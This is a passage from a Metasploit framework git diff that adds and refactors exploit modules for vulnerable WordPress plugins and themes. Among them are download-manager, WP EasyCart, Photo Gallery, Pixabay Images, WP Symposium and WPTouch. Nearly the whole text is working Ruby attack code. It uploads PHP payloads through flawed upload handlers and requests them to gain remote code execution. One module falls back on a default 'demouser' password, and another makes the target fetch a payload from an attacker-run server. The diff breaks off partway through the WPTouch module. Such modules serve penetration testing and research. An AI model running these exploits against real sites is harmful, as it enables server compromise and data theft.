Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], - [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] - ], + 'Targets' => [['asset-manager <= 2.0', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 26 2012')) + end - register_options( - [ - OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) - ], self.class) + def check + uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php') + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri + ) + + return Exploit::CheckCode::Unknown if res.nil? || res.code != 200 + + Exploit::CheckCode::Detected end def exploit - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' - peer = "#{rhost}:#{rport}" payload_name = "#{rand_text_alpha(5)}.php" - php_payload = get_write_exec_payload(:unlink_self=>true) data = Rex::MIME::Message.new - data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") post_data = data.to_s print_status("#{peer} - Uploading payload #{payload_name}") - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'POST', - 'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php", + 'uri' => normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data - }) + ) - if not res or res.code != 200 or res.body !~ /#{payload_name}/ + if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/ fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end - print_status("#{peer} - Executing payload #{payload_name}") - res = send_request_raw({ - 'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}", - 'method' => 'GET' - }) + register_files_for_cleanup(payload_name) - if res and res.code != 200 - fail_with(Failure::UnexpectedReply, "#{peer} - Execution failed") - end + print_status("#{peer} - Executing payload #{payload_name}") + send_request_raw( + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'assets', 'temp', payload_name), + 'method' => 'GET' + ) end end diff --git a/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb b/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb new file mode 100644 index 0000000000..13dea3737f --- /dev/null +++ b/modules/exploits/unix/webapp/wp_downloadmanager_upload.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Wordpress Download Manager (download-manager) Unauthenticated File Upload', + 'Description' => %q{ + The WordPress download-manager plugin contains multiple unauthenticated file upload + vulnerabilities which were fixed in version 2.7.5. + }, + 'Author' => + [ + 'Mickael Nadeau', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + # The module exploits another vuln not mentioned in this post, but was also fixed + ['URL', 'http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html'], + ['WPVDB', '7706'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['download-manager < 2.7.5', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Dec 3 2014')) + end + + def check + check_plugin_version_from_readme('download-manager', '2.7.5') + end + + def exploit + filename = "#{rand_text_alpha(10)}.php" + + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{filename}\"") + + print_status("#{peer} - Uploading payload") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend, 'post.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'vars_get' => { 'task' => 'wpdm_upload_files' } + ) + + if res && res.code == 200 && res.body && res.body.length > 0 && res.body =~ /#{Regexp.escape(filename)}$/ + uploaded_filename = res.body + register_files_for_cleanup(uploaded_filename) + print_status("#{peer} - File #{uploaded_filename} successfully uploaded") + else + fail_with(Failure::Unknown, "#{peer} - Error on uploading file") + end + + file_path = normalize_uri(target_uri, 'wp-content', 'uploads', 'download-manager-files', uploaded_filename) + + print_status("#{peer} - Calling uploaded file #{file_path}") + send_request_cgi( + { + 'uri' => file_path, + 'method' => 'GET' + }, 5) + end + end diff --git a/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb new file mode 100644 index 0000000000..dfe47d01be --- /dev/null +++ b/modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress WP EasyCart Unrestricted File Upload', + 'Description' => %q{WordPress Shopping Cart (WP EasyCart) Plugin for + WordPress contains a flaw that allows a remote + attacker to execute arbitrary PHP code. This + flaw exists because the + /inc/amfphp/administration/banneruploaderscript.php + script does not properly verify or sanitize + user-uploaded files. By uploading a .php file, + the remote system will place the file in a + user-accessible path. Making a direct request to + the uploaded file will allow the attacker to + execute the script with the privileges of the web + server. + + In versions <= 3.0.8 authentication can be done by + using the WordPress credentials of a user with any + role. In later versions, a valid EasyCart admin + password will be required that is in use by any + admin user. A default installation of EasyCart will + setup a user called "demouser" with a preset password + of "demouser".}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kacper Szurek', # Vulnerability disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['OSVDB', '116806'], + ['WPVDB', '7745'] + ], + 'DisclosureDate' => 'Jan 08 2015', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['wp-easycart', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']), + OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']), + OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']), + OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false]) + ], self.class) + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def ec_password + datastore['EC_PASSWORD'] + end + + def ec_password_is_hash + datastore['EC_PASSWORD_IS_HASH'] + end + + def use_wordpress_authentication + username.to_s != '' && password.to_s != '' + end + + def use_ec_authentication + ec_password.to_s != '' + end + + def req_id + if ec_password_is_hash + return ec_password + else + return Rex::Text.md5(ec_password) + end + end + + def generate_mime_message(payload, date_hash, name, include_req_id) + data = Rex::MIME::Message.new + data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"') + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"") + data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id + data + end + + def setup + if !use_wordpress_authentication && !use_ec_authentication + fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value') + end + + super + end + + def exploit + vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication + vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication + + if use_wordpress_authentication && use_ec_authentication + print_status("#{peer} - Both EasyCart and WordPress credentials were supplied, attempting WordPress first...") + end + + if use_wordpress_authentication + print_status("#{peer} - Authenticating using #{username}:#{password}...") + cookie = wordpress_login(username, password) + + if !cookie + if use_ec_authentication + print_warning("#{peer} - Failed to authenticate with WordPress, attempting upload with EC password next...") + else + fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') + end + else + print_good("#{peer} - Authenticated with WordPress") + end + end + + print_status("#{peer} - Preparing payload...") + payload_name = Rex::Text.rand_text_alpha(10) + date_hash = Rex::Text.md5(Time.now.to_s) + uploaded_filename = "#{payload_name}_#{date_hash}.php" + plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart') + uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php') + payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename) + data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication) + + print_status("#{peer} - Uploading payload to #{payload_url}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uploader_url, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'cookie' => cookie + ) + + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200 + + print_status("#{peer} - Executing the payload...") + register_files_for_cleanup(uploaded_filename) + res = send_request_cgi( + { + 'uri' => payload_url, + 'method' => 'GET' + }, 5) + + if !res.nil? && res.code == 404 + print_error("#{peer} - Failed to upload the payload") + else + print_good("#{peer} - Executed payload") + end + end +end diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index d52ecda3a8..f7e59f655a 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,6 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2012-4915'], ['OSVDB', '88891'], ['URL', 'http://secunia.com/advisories/50832'], + ['WPVDB', '6073'] ], 'Privileged' => false, 'Payload' => @@ -215,11 +216,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}") end - admin_cookie = '' - (res.headers['Set-Cookie'] || '').split(',').each do |cookie| - admin_cookie << cookie.split(';')[0] - admin_cookie << ';' - end + admin_cookie = res.get_cookies if admin_cookie.empty? fail_with(Failure::UnexpectedReply, 'The resulting cookie was empty') diff --git a/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb new file mode 100644 index 0000000000..2c7670fa76 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_photo_gallery_unrestricted_file_upload.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' +require 'json' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Photo Gallery 1.2.5 Unrestricted File Upload', + 'Description' => %q{Photo Gallery Plugin for WordPress contains a flaw that allows a + remote attacker to execute arbitrary PHP code. This flaw exists + because the photo-gallery\photo-gallery.php script allows access + to filemanager\UploadHandler.php. The post() method in UploadHandler.php + does not properly verify or sanitize user-uploaded files.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Kacper Szurek', # Vulnerability disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['OSVDB', '117676'], + ['WPVDB', '7769'], + ['CVE', '2014-9312'], + ['URL', 'http://security.szurek.pl/photo-gallery-125-unrestricted-file-upload.html'] + ], + 'DisclosureDate' => 'Nov 11 2014', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['photo-gallery < 1.2.6', {}]], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('USERNAME', [true, 'The username to authenticate with']), + OptString.new('PASSWORD', [true, 'The password to authenticate with']) + ], self.class) + end + + def check + check_plugin_version_from_readme('photo-gallery', '1.2.6') + end + + def username + datastore['USERNAME'] + end + + def password + datastore['PASSWORD'] + end + + def generate_mime_message(payload, name) + data = Rex::MIME::Message.new + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + zip.add_file("#{name}.php", payload.encoded) + data.add_part(zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"files\"; filename=\"#{name}.zip\"") + data + end + + def exploit + print_status("#{peer} - Authenticating using #{username}:#{password}...") + cookie = wordpress_login(username, password) + fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? + print_good("#{peer} - Authenticated with WordPress") + + print_status("#{peer} - Preparing payload...") + payload_name = Rex::Text.rand_text_alpha(10) + data = generate_mime_message(payload, payload_name) + + upload_dir = "#{Rex::Text.rand_text_alpha(5)}/" + print_status("#{peer} - Uploading payload to #{upload_dir}...") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => wordpress_url_admin_ajax, + 'vars_get' => { 'action' => 'bwg_UploadHandler', 'dir' => upload_dir }, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s, + 'cookie' => cookie + ) + + fail_with(Failure::Unreachable, 'No response from the target') if res.nil? + fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 + print_good("#{peer} - Uploaded the payload") + + print_status("#{peer} - Parsing server response...") + begin + json = JSON.parse(res.body) + if json.nil? || json['files'].nil? || json['files'][0].nil? || json['files'][0]['name'].nil? + fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') + else + uploaded_name = json['files'][0]['name'][0..-5] + php_file_name = "#{uploaded_name}.php" + payload_url = normalize_uri(wordpress_url_backend, upload_dir, uploaded_name, php_file_name) + print_good("#{peer} - Parsed response") + + register_files_for_cleanup(php_file_name) + register_files_for_cleanup("../#{uploaded_name}.zip") + print_status("#{peer} - Executing the payload at #{payload_url}") + send_request_cgi( + { + 'uri' => payload_url, + 'method' => 'GET' + }, 5) + print_good("#{peer} - Executed payload") + end + rescue + fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') + end + end +end diff --git a/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb new file mode 100644 index 0000000000..81ab361db5 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_pixabay_images_upload.rb @@ -0,0 +1,147 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class Metasploit3 < Msf::Exploit::Remote + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Remote::HttpClient + include Msf::HTTP::Wordpress + + Rank = ExcellentRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress Pixabay Images PHP Code Upload', + 'Description' => %q{ + This module exploits multiple vulnerabilities in the WordPress plugin Pixabay + Images 2.3.6. The plugin does not check the host of a provided download URL + which can be used to store and execute malicious PHP code on the system. + }, + 'Author' => + [ + 'h0ng10', # Discovery, Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt'], + ['OSVDB', '117145'], + ['OSVDB', '117146'], + ['WPVDB', '7758'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['pixabay-images 2.3', {}]], + 'DefaultTarget' => 0, + 'Payload' => + { + 'DisableNops' => true, + }, + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DisclosureDate' => 'Jan 19 2015' + )) + + register_options( + [ + OptInt.new('TRIES', [true, 'Number of guesses if initial name guess fails', 5]), + OptInt.new('DEPTH', [true, 'Traversal path until the uploads folder', 4]) + ], self.class) + end + + + # Handle incoming requests from the server + def on_request_uri(cli, request) + print_status("URI requested: #{request.raw_uri}") + send_response(cli, payload.encoded) + end + + # Create a custom URI + def generate_payload_uri + "#{get_uri}.php" + end + + def call_payload(file_name) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', file_name) + }, 3) + + res + end + + def exploit + unless wordpress_and_online? + fail_with(Failure::NoTarget, "#{peer} - #{target_uri} does not seeem to be WordPress site") + end + + print_status("#{peer} - Starting up web service...") + start_service + + payload_uri = generate_payload_uri + vprint_status("#{peer} - Using URI #{payload_uri}") + + random_file_name = rand_text_alphanumeric(rand(5) + 5) + post = { + 'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5), + 'image_url' => payload_uri, + 'image_user' => rand_text_alphanumeric(rand(5) + 5), + 'q' => "#{'../' * datastore['DEPTH']}#{random_file_name}" + } + + print_status("#{peer} - Uploading payload #{random_file_name}...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend), + 'vars_post' => post + }) + + stop_service + + unless res && res.code == 200 && res.headers['date'] + fail_with(Failure::Unknown, "#{peer} - Upload failed or unable to guess the system time...") + end + + server_epoch_time = DateTime.strptime(res.headers['date'], '%a, %d %b %Y %H:%M:%S GMT').to_i + + print_status("#{peer} - Calling payload...") + datastore['TRIES'].times do |i| + payload_name = "#{random_file_name}_#{server_epoch_time + i}.php" + res = call_payload(payload_name) + if (res && res.code == 200) || session_created? + register_files_for_cleanup(payload_name) + break + end + end + end + + def check + res = wordpress_and_online? + unless res + vprint_error("#{peer} - It doesn't look like a WordPress site") + return Exploit::CheckCode::Unknown + end + + # Send a request with a illegal URL to verify that the target is vulnerable + post = { + 'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5), + 'image_url' => rand_text_alphanumeric(rand(5) + 5), + 'image_user' => rand_text_alphanumeric(rand(5) + 5), + 'q' => rand_text_alphanumeric(rand(5) + 5) + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend), + 'vars_post' => post + }) + + if res && res.body && res.body.to_s =~ /Error: A valid URL was not provided/ + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + end +end diff --git a/modules/exploits/unix/webapp/wp_platform_exec.rb b/modules/exploits/unix/webapp/wp_platform_exec.rb new file mode 100644 index 0000000000..d07cffb154 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_platform_exec.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Remote Code Execution in WordPress Platform Theme', + 'Description' => %q{ + The WordPress Theme "platform" contains a remote code execution vulnerability + through an unchecked admin_init call. The theme includes the uploaded file + from it's temp filename with php's include function. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://blog.sucuri.net/2015/01/security-advisory-vulnerabilities-in-pagelinesplatform-theme-for-wordpress.html'], + ['WPVDB', '7762'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['platform < 1.4.4, platform pro < 1.6.2', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 21 2015')) + end + + def exploit + filename = "Settings_#{rand_text_alpha(5)}.php" + + data = Rex::MIME::Message.new + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{filename}\"") + data.add_part('settings', nil, nil, 'form-data; name="settings_upload"') + data.add_part('pagelines', nil, nil, 'form-data; name="page"') + post_data = data.to_s + + print_status("#{peer} - Uploading payload") + send_request_cgi({ + 'method' => 'POST', + 'uri' => wordpress_url_admin_post, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data + }, 5) + end +end diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb index e1cdc40756..b4f01b84c6 100644 --- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb @@ -1,25 +1,25 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::PhpEXE + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper def initialize(info = {}) - super(update_info(info, + super(update_info( + info, 'Name' => 'WordPress WP-Property PHP File Upload Vulnerability', - 'Description' => %q{ - This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress + 'Description' => %q( + This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress plugin. By abusing the uploadify.php file, a malicious user can upload a file to a temp directory without authentication, which results in arbitrary code execution. - }, + ), 'Author' => [ 'Sammy FORGIT', # initial discovery @@ -28,79 +28,63 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'OSVDB', '82656' ], - [ 'BID', '53787' ], - [ 'EDB', '18987'], - [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ] + ['OSVDB', '82656'], + ['BID', '53787'], + ['EDB', '18987'], + ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html'], + ['WPVDB', '6225'] ], - 'Payload' => - { - 'BadChars' => "\x00", - }, 'Platform' => 'php', 'Arch' => ARCH_PHP, - 'Targets' => - [ - [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], - [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] - ], + 'Targets' => [['wp-property <= 1.35.0', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 26 2012')) - - register_options( - [ - OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress']) - ], self.class) end def check - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' + uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify', 'uploadify.php') - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'GET', - 'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php" - }) + 'uri' => uri + ) - if not res or res.code != 200 - return Exploit::CheckCode::Unknown - end + return Exploit::CheckCode::Unknown if res.nil? || res.code != 200 - return Exploit::CheckCode::Appears + Exploit::CheckCode::Detected end def exploit - uri = target_uri.path - uri << '/' if uri[-1,1] != '/' + data_uri = normalize_uri(wordpress_url_plugins, 'wp-property', 'third-party', 'uploadify/') + request_uri = normalize_uri(data_uri, 'uploadify.php') - peer = "#{rhost}:#{rport}" - - @payload_name = "#{rand_text_alpha(5)}.php" - php_payload = get_write_exec_payload(:unlink_self=>true) + payload_name = "#{rand_text_alpha(5)}.php" data = Rex::MIME::Message.new - data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"") - data.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"") + data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"") + data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"") post_data = data.to_s - print_status("#{peer} - Uploading payload #{@payload_name}") - res = send_request_cgi({ + print_status("#{peer} - Uploading payload #{payload_name}") + res = send_request_cgi( 'method' => 'POST', - 'uri' => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php", + 'uri' => request_uri, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data - }) + ) - if not res or res.code != 200 or res.body !~ /#{@payload_name}/ + if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/ fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end - upload_uri = res.body + register_files_for_cleanup(payload_name) - print_status("#{peer} - Executing payload #{@payload_name}") - res = send_request_raw({ + upload_uri = normalize_uri(res.body) + + print_status("#{peer} - Executing payload #{payload_name}") + send_request_raw( 'uri' => upload_uri, 'method' => 'GET' - }) + ) end end diff --git a/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb new file mode 100644 index 0000000000..146e9eee1f --- /dev/null +++ b/modules/exploits/unix/webapp/wp_symposium_shell_upload.rb @@ -0,0 +1,97 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FileDropper + include Msf::HTTP::Wordpress + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress WP Symposium 14.11 Shell Upload', + 'Description' => %q{ + WP Symposium Plugin for WordPress contains a flaw that allows a remote attacker + to execute arbitrary PHP code. This flaw exists because the + /wp-symposium/server/file_upload_form.php script does not properly verify or + sanitize user-uploaded files. By uploading a .php file, the remote system will + place the file in a user-accessible path. Making a direct request to the + uploaded file will allow the attacker to execute the script with the privileges + of the web server. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Claudio Viviani', # Vulnerability disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['OSVDB', '116046'], + ['WPVDB', '7716'] + ], + 'DisclosureDate' => 'Dec 11 2014', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [['wp-symposium < 14.12', {}]], + 'DefaultTarget' => 0 + )) + end + + def check + check_plugin_version_from_readme('wp-symposium', '14.12') + end + + def generate_mime_message(payload, payload_name, directory_name, symposium_url) + data = Rex::MIME::Message.new + data.add_part('1', nil, nil, 'form-data; name="uploader_uid"') + data.add_part("./#{directory_name}/", nil, nil, 'form-data; name="uploader_dir"') + data.add_part(symposium_url, nil, nil, 'form-data; name="uploader_url"') + data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"files[]\"; filename=\"#{payload_name}\"") + data + end + + def exploit + print_status("#{peer} - Preparing payload") + unique_name = Rex::Text.rand_text_alpha(10) + payload_name = "#{unique_name}.php" + symposium_url = normalize_uri(wordpress_url_plugins, 'wp-symposium', 'server', 'php') + payload_url = normalize_uri(symposium_url, unique_name, payload_name) + data = generate_mime_message(payload, payload_name, unique_name, symposium_url) + symposium_url = normalize_uri(symposium_url, 'index.php') + + print_status("#{peer} - Uploading payload to #{payload_url}") + res = send_request_cgi( + 'method' => 'POST', + 'uri' => symposium_url, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => data.to_s + ) + + if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0' + print_good("#{peer} - Uploaded the payload") + register_files_for_cleanup(payload_name) + + print_status("#{peer} - Executing the payload...") + send_request_cgi( + { + 'uri' => payload_url, + 'method' => 'GET' + }, 5) + print_good("#{peer} - Executed payload") + else + if res.nil? + fail_with(Failure::Unreachable, "No response from the target") + else + vprint_error("#{peer} - HTTP Status: #{res.code}") + vprint_error("#{peer} - Server returned: #{res.body}") + fail_with(Failure::UnexpectedReply, "Failed to upload the payload") + end + end + end +end diff --git a/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb new file mode 100644 index 0000000000..49bb972908 --- /dev/null +++ b/modules/exploits/unix/webapp/wp_wptouch_file_upload.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::HTTP::Wordpress + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'Wordpress WPTouch Authenticated File Upload', + 'Description' => %q{ + The Wordpress WPTouch plugin contains an auhtenticated file upload + vulnerability. A wp-nonce (CSRF token) is created on the backend index + page and the same token is used on handling ajax file uploads through + the plugin. By sending the captured nonce with the upload, we can + upload arbitrary files to the upload folder. Because the plugin also + uses it's own file upload mechanism instead of the wordpress api it's + possible to upload any file type. + The user provided does not need special rights, and users with "Contributor" + role can be abused. + }, + 'Author' => + [ + 'Marc-Alexandre Montpas', # initial discovery + 'Christian Mehlmauer' # metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://blog.sucuri.net/2014/07/disclosure-insecure-nonce-generation-in-wptouch.html'], + ['WPVDB', '7118'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['wptouch < 3.4.3', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jul 14 2014')) + + register_options( + [ + OptString.new('USER', [true, 'A valid username', nil]), + OptString.new('PASSWORD', [true, 'Valid password for the provided username', nil]) + ], self.class) + end + + def user + datastore['USER'] + end + + def password + datastore['PASSWORD'] + end + + def check + check_plugin_version_from_readme('wptouch', '3.4.3') + end + + def get_nonce(cookie) + res = send_request_cgi( + 'uri' => wordpress_url_backend, + 'method' => 'GET', + 'cookie' => cookie + ) + + # forward to profile.php or other page? + if res && res.redirect? && res.redirection + location = res.redirection + print_status("#{peer} - Following redirect to #{location}") + res = send_request_cgi( + 'uri' => location, + 'method' => 'GET', + 'cookie' => cookie + ) + end + + if res && res.body && res.body =~ /var WPtouchCustom = 